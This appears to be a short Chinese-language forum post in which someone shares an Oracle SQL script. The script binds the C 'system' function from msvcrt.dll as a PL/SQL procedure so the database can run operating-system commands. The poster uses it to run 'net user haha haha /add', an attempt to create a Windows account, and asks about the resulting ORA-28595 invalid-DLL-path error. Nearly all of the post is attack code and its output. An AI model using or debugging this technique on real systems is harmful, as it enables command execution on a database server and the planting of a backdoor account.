Oracle Execute Command Sql Script 如下:
CREATE OR REPLACE LIBRARY exec_shell AS 'D:\windows\system32\msvcrt.dll';
/
show errors
CREATE OR REPLACE PACKAGE oracmd IS PROCEDURE exec (cmdstring IN CHAR);
end oracmd;
/
show errors
CREATE OR REPLACE PACKAGE BODY oracmd IS
PROCEDURE exec(cmdstring IN CHAR)
IS EXTERNAL
NAME "system"
LIBRARY exec_shell
LANGUAGE C;
end oracmd;
/
show errors
可是执行命令时却出现这样的错误:
SQL> exec oracmd.exec ('net user haha haha /add');
BEGIN oracmd.exec ('net user haha haha /add'); END;
*
第 1 行出现错误:
ORA-28595: Extproc 代理: DLL 路径无效
ORA-06512: 在 "SYSTEM.ORACMD", line 2
ORA-06512: 在 line 1